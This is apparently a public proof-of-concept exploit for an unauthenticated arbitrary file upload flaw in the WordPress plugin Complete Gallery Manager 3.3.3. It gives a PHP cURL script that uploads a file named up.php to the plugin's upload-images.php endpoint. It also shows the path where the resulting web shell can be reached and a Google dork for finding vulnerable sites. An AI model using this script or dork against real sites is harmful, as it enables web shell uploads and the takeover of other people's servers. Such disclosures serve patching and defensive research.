WP Complete Gallery Manager 3.3.3 - Arbitrary File Upload

Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...

Vuln page : 
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Exploit : 

<?php
$uploadfile="up.php"; 
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php

Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/